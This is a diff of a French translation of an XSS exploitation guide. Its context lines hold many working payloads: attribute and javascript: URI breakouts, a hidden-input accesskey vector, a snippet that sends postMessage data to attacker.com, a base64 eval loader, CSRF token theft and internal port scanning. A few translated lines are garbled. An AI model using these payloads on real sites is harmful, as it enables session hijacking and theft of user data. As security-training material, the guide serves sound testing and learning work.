-Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
+Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouvea
 ```
 ### Dans l'attribut

-Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez faire exécuter du code arbitraire lorsqu'il est cliqué.\
+Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
 Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**

 **Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Lieux où vous pouvez injecter ces protocoles**

-**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img>`)
+**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -351,7 +351,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
+De plus, il existe une **jolie astuce** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@ -377,7 +377,7 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank"` et `rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
+Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, vérifiez **la page suivante pour exploiter ce comportement** :

 {{#ref}}
 ../reverse-tab-nabbing.md
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
+À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@ -448,7 +448,7 @@ Lisez la [liste noire de contournement JavaScript de la section suivante](#javas

 ### CSS-Gadgets

-Si vous trouvez un **XSS dans une très petite partie** du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace que cet élément occupe** pour maximiser les probabilités que le lien soit déclenché.
+Si vous avez trouvé un **XSS dans une très petite partie** du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace que cet élément occupe** pour maximiser les probabilités que le lien soit déclenché.

 Par exemple, vous pourriez ajouter un style à l'élément comme : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`

@ -488,7 +488,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
 ```
 ### Template literals \`\`

-Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
+Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également des **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
 Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :

 Cela peut être **abusé** en utilisant :
@ -747,7 +747,7 @@ dom-xss.md
 {{#endref}}

 Là, vous trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter**.\
-De plus, n'oubliez pas qu'**à la fin du post mentionné**, vous pouvez trouver une explication sur [**les attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).
+De plus, n'oubliez pas qu'**à la fin du post mentionné**, vous pouvez trouver une explication sur les [**attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).

 ### Amélioration du Self-XSS

@ -769,7 +769,7 @@ Peut-être qu'un utilisateur peut partager son profil avec l'admin et si le self

 Si vous trouvez un self XSS et que la page web a un **miroir de session pour les administrateurs**, par exemple en permettant aux clients de demander de l'aide, afin que l'admin puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa session.

-Vous pourriez faire en sorte que **l'administrateur déclenche votre self XSS** et vole ses cookies/session.
+Vous pourriez faire en sorte que **l'administrateur déclenche votre self XSS** et voler ses cookies/session.

 ## Autres Bypasses

@ -783,7 +783,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
 ```
 ### Ruby-On-Rails bypass

-En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
+En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
 Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -833,7 +833,7 @@ Protocoles connus précédemment : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en

 ### Seulement des lettres, des chiffres et des points

-Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](#javascript-function) pour découvrir comment abuser de ce comportement.
+Si vous êtes en mesure d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](#javascript-function) pour découvrir comment abuser de ce comportement.

 ### Types de contenu `<script>` valides pour XSS

@ -865,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Types de script pour XSS

-(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script ?
+(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script ?
 ```html
 <script type="???"></script>
 ```
@ -899,9 +899,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
+Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement d'XSS.

- [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
 ```html
 <script type="speculationrules">
 {
@ -996,7 +996,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Accéder à `require` indirectement

-[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont encapsulés par Node.js dans une fonction, comme ceci :
+[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont encapsulés par Node.js dans une fonction, comme ceci :
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@ -1053,7 +1053,6 @@ trigger()

 - **Différentes obfuscations sur une page :** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
@ -1361,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Courts courtes indiquent un port répondant_ _Des temps plus longs indiquent aucune réponse._
+_Courts courtes indiquent un port répondant_ _Courts plus longs indiquent aucune réponse._

 Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).

@ -1406,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Voler des messages PostMessage
+### Vol de messages PostMessage
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@ -1501,7 +1500,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Accéder au contenu caché

-D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
+D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@ -1528,7 +1527,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

 ### XSS dans Markdown

-Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
+Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :

 {{#ref}}
 xss-in-markdown.md
@ -1546,7 +1545,7 @@ Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-inj
 ### XSS dans un PDF créé dynamiquement

 Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
-Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va **les interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS serveur**.
+Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS serveur**.

 {{#ref}}
 server-side-xss-dynamic-pdf.md